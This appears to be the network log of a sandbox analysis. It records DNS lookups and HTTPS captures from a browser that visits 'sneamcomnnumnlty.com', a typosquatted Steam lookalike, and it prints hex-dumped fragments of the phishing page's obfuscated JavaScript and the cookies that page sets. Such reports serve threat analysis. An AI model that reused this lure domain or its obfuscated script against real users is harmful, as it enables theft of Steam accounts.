Oct 6, 2024 13:22:02.301753044 CEST	192.168.2.7	1.1.1.1	0xa2ed	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:02.301960945 CEST	192.168.2.7	1.1.1.1	0x5d3	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:22:02.302318096 CEST	192.168.2.7	1.1.1.1	0xcbd8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:02.302421093 CEST	192.168.2.7	1.1.1.1	0x69d1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 6, 2024 13:22:06.048557997 CEST	192.168.2.7	1.1.1.1	0x11bc	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:06.048845053 CEST	192.168.2.7	1.1.1.1	0xb4d0	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 13:22:06.049647093 CEST	192.168.2.7	1.1.1.1	0xa71	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:06.049962997 CEST	192.168.2.7	1.1.1.1	0x9bcb	Standard query (0)	login.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 13:22:10.559257030 CEST	192.168.2.7	1.1.1.1	0xad11	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.559446096 CEST	192.168.2.7	1.1.1.1	0x5eda	Standard query (0)	api.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 13:22:10.563256979 CEST	192.168.2.7	1.1.1.1	0x3fb2	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.563405991 CEST	192.168.2.7	1.1.1.1	0x2cff	Standard query (0)	help.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 13:22:10.607316971 CEST	192.168.2.7	1.1.1.1	0x3086	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.607464075 CEST	192.168.2.7	1.1.1.1	0xfa1b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 6, 2024 13:22:10.610696077 CEST	192.168.2.7	1.1.1.1	0xbd8c	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.610954046 CEST	192.168.2.7	1.1.1.1	0xbd73	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 6, 2024 13:20:47.593518972 CEST	1.1.1.1	192.168.2.7	0x7d65	No error (0)	sneamcomnnumnlty.com			65	IN (0x0001)	false
Oct 6, 2024 13:20:47.606748104 CEST	1.1.1.1	192.168.2.7	0x65a	No error (0)	sneamcomnnumnlty.com		104.21.91.169	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:47.606748104 CEST	1.1.1.1	192.168.2.7	0x65a	No error (0)	sneamcomnnumnlty.com		172.67.175.206	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:47.610675097 CEST	1.1.1.1	192.168.2.7	0x4fc	No error (0)	sneamcomnnumnlty.com		104.21.91.169	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:47.610675097 CEST	1.1.1.1	192.168.2.7	0x4fc	No error (0)	sneamcomnnumnlty.com		172.67.175.206	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:47.629921913 CEST	1.1.1.1	192.168.2.7	0x1b8e	No error (0)	sneamcomnnumnlty.com			65	IN (0x0001)	false
Oct 6, 2024 13:20:48.987843037 CEST	1.1.1.1	192.168.2.7	0x82f3	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:49.503815889 CEST	1.1.1.1	192.168.2.7	0x4a27	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:49.521261930 CEST	1.1.1.1	192.168.2.7	0x2f3f	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 6, 2024 13:20:50.541066885 CEST	1.1.1.1	192.168.2.7	0xf636	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:50.561811924 CEST	1.1.1.1	192.168.2.7	0xa5d6	No error (0)	sneamcomnnumnlty.com			65	IN (0x0001)	false
Oct 6, 2024 13:20:50.562386990 CEST	1.1.1.1	192.168.2.7	0x73b9	No error (0)	sneamcomnnumnlty.com		172.67.175.206	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:50.562386990 CEST	1.1.1.1	192.168.2.7	0x73b9	No error (0)	sneamcomnnumnlty.com		104.21.91.169	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.435273886 CEST	1.1.1.1	192.168.2.7	0x72b	No error (0)	store.akamai.steamstatic.com		2.19.126.227	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.435273886 CEST	1.1.1.1	192.168.2.7	0x72b	No error (0)	store.akamai.steamstatic.com		2.19.126.218	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.444587946 CEST	1.1.1.1	192.168.2.7	0xf666	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 6, 2024 13:20:52.444721937 CEST	1.1.1.1	192.168.2.7	0x6bf0	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.444721937 CEST	1.1.1.1	192.168.2.7	0x6bf0	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.445106030 CEST	1.1.1.1	192.168.2.7	0x8923	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.445106030 CEST	1.1.1.1	192.168.2.7	0x8923	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.445106030 CEST	1.1.1.1	192.168.2.7	0x8923	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:52.445106030 CEST	1.1.1.1	192.168.2.7	0x8923	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:53.560363054 CEST	1.1.1.1	192.168.2.7	0x5a0e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:20:53.560363054 CEST	1.1.1.1	192.168.2.7	0x5a0e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.135075092 CEST	1.1.1.1	192.168.2.7	0x13d1	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.135075092 CEST	1.1.1.1	192.168.2.7	0x13d1	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.135075092 CEST	1.1.1.1	192.168.2.7	0x13d1	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.135075092 CEST	1.1.1.1	192.168.2.7	0x13d1	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.137623072 CEST	1.1.1.1	192.168.2.7	0xb647	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.137623072 CEST	1.1.1.1	192.168.2.7	0xb647	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.137804985 CEST	1.1.1.1	192.168.2.7	0x4099	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 6, 2024 13:20:54.708448887 CEST	1.1.1.1	192.168.2.7	0x85e4	No error (0)	store.akamai.steamstatic.com		2.19.126.97	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:54.708448887 CEST	1.1.1.1	192.168.2.7	0x85e4	No error (0)	store.akamai.steamstatic.com		2.19.126.79	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:56.686506033 CEST	1.1.1.1	192.168.2.7	0x305a	No error (0)	recaptcha.net		142.250.185.227	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:56.688848972 CEST	1.1.1.1	192.168.2.7	0x7907	No error (0)	store.steampowered.com		88.221.169.65	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:56.779520035 CEST	1.1.1.1	192.168.2.7	0x9d6a	No error (0)	cdn.akamai.steamstatic.com		2.19.126.73	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:56.779520035 CEST	1.1.1.1	192.168.2.7	0x9d6a	No error (0)	cdn.akamai.steamstatic.com		2.19.126.89	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:57.530329943 CEST	1.1.1.1	192.168.2.7	0xe65d	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:57.778790951 CEST	1.1.1.1	192.168.2.7	0xb183	No error (0)	recaptcha.net		142.250.185.227	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:58.729233980 CEST	1.1.1.1	192.168.2.7	0x6fc3	No error (0)	cdn.akamai.steamstatic.com		2.19.126.89	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:20:58.729233980 CEST	1.1.1.1	192.168.2.7	0x6fc3	No error (0)	cdn.akamai.steamstatic.com		2.19.126.73	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:23.597054005 CEST	1.1.1.1	192.168.2.7	0xc9b1	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:21:23.597153902 CEST	1.1.1.1	192.168.2.7	0x6227	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:21:24.213771105 CEST	1.1.1.1	192.168.2.7	0xb1c4	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:21:24.213771105 CEST	1.1.1.1	192.168.2.7	0xb1c4	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:24.213771105 CEST	1.1.1.1	192.168.2.7	0xb1c4	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:24.213771105 CEST	1.1.1.1	192.168.2.7	0xb1c4	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:24.213771105 CEST	1.1.1.1	192.168.2.7	0xb1c4	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:24.213789940 CEST	1.1.1.1	192.168.2.7	0x81aa	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:21:24.525450945 CEST	1.1.1.1	192.168.2.7	0xf29e	No error (0)	fonts.cdnfonts.com		172.67.184.158	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:24.525450945 CEST	1.1.1.1	192.168.2.7	0xf29e	No error (0)	fonts.cdnfonts.com		104.21.72.124	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:24.525615931 CEST	1.1.1.1	192.168.2.7	0xd24f	No error (0)	fonts.cdnfonts.com			65	IN (0x0001)	false
Oct 6, 2024 13:21:26.481672049 CEST	1.1.1.1	192.168.2.7	0x162b	No error (0)	community.cloudflare.steamstatic.com			65	IN (0x0001)	false
Oct 6, 2024 13:21:26.481784105 CEST	1.1.1.1	192.168.2.7	0xb95c	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:26.481784105 CEST	1.1.1.1	192.168.2.7	0xb95c	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:26.482530117 CEST	1.1.1.1	192.168.2.7	0xf523	No error (0)	community.akamai.steamstatic.com		2.16.164.107	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:26.482530117 CEST	1.1.1.1	192.168.2.7	0xf523	No error (0)	community.akamai.steamstatic.com		2.16.164.128	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:27.086131096 CEST	1.1.1.1	192.168.2.7	0x7c9b	No error (0)	community.cloudflare.steamstatic.com		172.64.145.151	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:27.086131096 CEST	1.1.1.1	192.168.2.7	0x7c9b	No error (0)	community.cloudflare.steamstatic.com		104.18.42.105	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:27.087522984 CEST	1.1.1.1	192.168.2.7	0xb25e	No error (0)	community.cloudflare.steamstatic.com			65	IN (0x0001)	false
Oct 6, 2024 13:21:27.390897036 CEST	1.1.1.1	192.168.2.7	0x6051	No error (0)	community.akamai.steamstatic.com		2.19.126.97	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:27.390897036 CEST	1.1.1.1	192.168.2.7	0x6051	No error (0)	community.akamai.steamstatic.com		2.19.126.91	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:30.075784922 CEST	1.1.1.1	192.168.2.7	0x72d0	No error (0)	store.steampowered.com		88.221.169.65	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:31.673302889 CEST	1.1.1.1	192.168.2.7	0x7ce0	No error (0)	store.akamai.steamstatic.com		2.16.168.6	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:31.673302889 CEST	1.1.1.1	192.168.2.7	0x7ce0	No error (0)	store.akamai.steamstatic.com		2.16.168.5	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:37.925002098 CEST	1.1.1.1	192.168.2.7	0x21ae	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:37.925002098 CEST	1.1.1.1	192.168.2.7	0x21ae	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:39.548643112 CEST	1.1.1.1	192.168.2.7	0xcc07	No error (0)	store.steampowered.com		88.221.169.65	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:43.650321007 CEST	1.1.1.1	192.168.2.7	0x22d	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:21:43.650321007 CEST	1.1.1.1	192.168.2.7	0x22d	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:21:43.650321007 CEST	1.1.1.1	192.168.2.7	0x22d	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:52.222692013 CEST	1.1.1.1	192.168.2.7	0x87a4	No error (0)	login.steampowered.com		92.122.104.90	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:56.249950886 CEST	1.1.1.1	192.168.2.7	0x1e39	No error (0)	api.steampowered.com		92.122.104.90	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:57.069678068 CEST	1.1.1.1	192.168.2.7	0x91df	No error (0)	help.steampowered.com		23.197.127.21	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:21:59.552359104 CEST	1.1.1.1	192.168.2.7	0xdeda	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:21:59.552359104 CEST	1.1.1.1	192.168.2.7	0xdeda	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:02.309992075 CEST	1.1.1.1	192.168.2.7	0xcbd8	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:02.310585976 CEST	1.1.1.1	192.168.2.7	0x69d1	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 6, 2024 13:22:02.758239031 CEST	1.1.1.1	192.168.2.7	0x1dae	No error (0)	cdn.akamai.steamstatic.com		23.33.44.241	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:02.758239031 CEST	1.1.1.1	192.168.2.7	0x1dae	No error (0)	cdn.akamai.steamstatic.com		23.33.44.236	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:06.057199001 CEST	1.1.1.1	192.168.2.7	0x11bc	No error (0)	store.akamai.steamstatic.com		2.16.164.115	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:06.057199001 CEST	1.1.1.1	192.168.2.7	0x11bc	No error (0)	store.akamai.steamstatic.com		2.16.164.83	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:06.057315111 CEST	1.1.1.1	192.168.2.7	0xa71	No error (0)	login.steampowered.com		92.122.104.90	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.567578077 CEST	1.1.1.1	192.168.2.7	0xad11	No error (0)	api.steampowered.com		92.122.104.90	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.578655005 CEST	1.1.1.1	192.168.2.7	0x3fb2	No error (0)	help.steampowered.com		92.122.104.90	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.614362001 CEST	1.1.1.1	192.168.2.7	0xfa1b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 6, 2024 13:22:10.614396095 CEST	1.1.1.1	192.168.2.7	0x3086	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.618083000 CEST	1.1.1.1	192.168.2.7	0xbd8c	No error (0)	cdn.akamai.steamstatic.com		2.16.164.131	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:10.618083000 CEST	1.1.1.1	192.168.2.7	0xbd8c	No error (0)	cdn.akamai.steamstatic.com		2.16.164.32	A (IP address)	IN (0x0001)	false
Oct 6, 2024 13:22:29.657958031 CEST	1.1.1.1	192.168.2.7	0xd35	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:22:29.657958031 CEST	1.1.1.1	192.168.2.7	0xd35	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2024 13:22:29.657958031 CEST	1.1.1.1	192.168.2.7	0xd35	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	104.21.91.169	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:48 UTC	678	OUT	GET /fact/actual/get HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:48 UTC	1259	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Set-Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; Path=/; Expires=Sun, 06 Oct 2024 15:20:48 GMT; SameSite=Lax Set-Cookie: token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; Path=/; Expires=Sun, 06 Oct 2024 15:20:48 GMT; SameSite=Lax Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC
2024-10-06 11:20:48 UTC	462	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 63 62 54 43 41 4a 72 75 4b 68 39 39 6a 34 71 4b 76 77 62 52 61 68 55 5a 50 34 34 48 79 25 32 46 56 4f 68 46 74 48 54 50 43 44 73 4a 67 30 6e 45 37 4e 73 5a 64 59 54 56 41 65 66 25 32 46 69 32 78 4a 6b 71 6d 37 34 6b 77 38 7a 4a 45 50 72 49 6c 36 4b 4d 77 37 68 38 41 73 56 6a 4b 68 58 31 25 32 42 63 63 52 7a 6b 33 5a 69 67 62 48 6f 78 64 6d 51 71 48 53 71 44 4b 51 25 32 46 6d 66 42 44 6a 78 76 61 72 44 6b 48 46 5a 4c 65 56 79 6c 5a 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cbTCAJruKh99j4qKvwbRahUZP44Hy%2FVOhFtHTPCDsJg0nE7NsZdYTVAef%2Fi2xJkqm74kw8zJEPrIl6KMw7h8AsVjKhX1%2BccRzk3ZigbHoxdmQqHSqDKQ%2FmfBDjxvarDkHFZLeVylZA%3D%3D"}],"group":"cf-nel","max
2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 33 63 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 3c1d<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 62 5d 6e 27 2c 27 31 69 52 65 2a 38 28 58 23 34 70 56 3d 77 43 52 65 3a 5a 62 56 30 40 30 35 52 33 3c 53 61 52 6f 6c 6c 3d 3a 53 27 2c 27 5d 47 58 30 39 38 5b 3f 7a 35 35 4f 24 5e 28 66 5e 25 71 2e 3b 79 3e 3a 2a 4e 21 37 61 5b 74 54 54 75 64 48 32 5d 67 59 56 54 27 2c 27 2e 7a 30 4b 38 77 7a 54 74 37 6a 69 2c 6d 45 72 6a 32 5e 67 45 3a 66 64 5a 25 3e 57 62 79 7d 57 27 2c 27 33 7a 2b 78 23 6e 43 6b 38 37 69 3f 41 2e 59 71 6f 52 69 3b 72 23 3e 75 5e 38 4a 25 48 5d 3c 6d 6f 55 2a 2c 6a 60 5b 48 61 4f 27 2c 27 58 50 55 3d 3e 5b 61 43 27 2c 27 52 4a 79 67 55 37 21 43 27 2c 27 32 58 30 31 6e 76 7b 59 3c 21 74 2f 42 27 2c 27 64 50 45 3d 76 29 53 43 27 2c 27 65 50 29 31 66 2c 79 43 27 2c 27 3c 34 65 4a 6c 76 25 4e 72 52 27 2c 27 57 7a 7c 47 79 3b 55 36 59 4e 27 Data Ascii: b]n','1iRe8(X#4pV=wCRe:ZbV0@05R3<SaRoll=:S',']GX098[?z55O$^(f^%q.;y>:N!7a[tTTudH2]gYVT','.z0K8wzTt7ji,mErj2^gE:fdZ%>Wby}W','3z+x#nCk87i?A.YqoRi;r#>u^8J%H]<moU*,j`[HaO','XPU=>[aC','RJygU7!C','2X01nv{Y<!t/B','dPE=v)SC','eP)1f,yC','<4eJlv%NrR','Wz\|Gy;U6YN'
2024-10-06 11:20:48 UTC	1369	IN	Data Raw: 51 61 4b 68 2b 30 78 31 63 3a 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3c 30 78 35 34 3f 59 7a 51 61 4b 68 3e 30 78 35 34 3f 59 7a 51 61 4b 68 2b 30 78 63 3a 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3e 30 78 31 31 3f 59 7a 51 61 4b 68 3c 30 78 35 34 3f 59 7a 51 61 4b 68 3e 30 78 35 34 3f 59 7a 51 61 4b 68 2d 30 78 31 3a 59 7a 51 61 4b 68 2d 30 78 31 32 3a 59 7a 51 61 4b 68 2b 30 78 33 39 3a 59 7a 51 61 4b 68 2b 30 78 34 64 3a 59 7a 51 61 4b 68 2d 30 78 32 33 3a 59 7a 51 61 4b 68 2b 30 78 32 34 3a 59 7a 51 61 4b 68 2b 30 78 35 5d 7d 76 61 72 20 7a 4c 31 34 63 67 66 2c 56 4e 72 6e 50 65 4a 3b 76 6f 69 64 28 5a 59 4d 39 76 79 79 3d 59 7a 51 61 4b 68 5b 54 79 48 5a 7a 76 62 28 30 78 35 35 29 5d 2c 72 38 42 71 5f 75 39 5b 56 35 50 6a Data Ascii: QaKh+0x1c:YzQaKh>0x11?YzQaKh<0x54?YzQaKh>0x54?YzQaKh+0xc:YzQaKh>0x11?YzQaKh>0x11?YzQaKh<0x54?YzQaKh>0x54?YzQaKh-0x1:YzQaKh-0x12:YzQaKh+0x39:YzQaKh+0x4d:YzQaKh-0x23:YzQaKh+0x24:YzQaKh+0x5]}var zL14cgf,VNrnPeJ;void(ZYM9vyy=YzQaKh[TyHZzvb(0x55)],r8Bq_u9[V5Pj
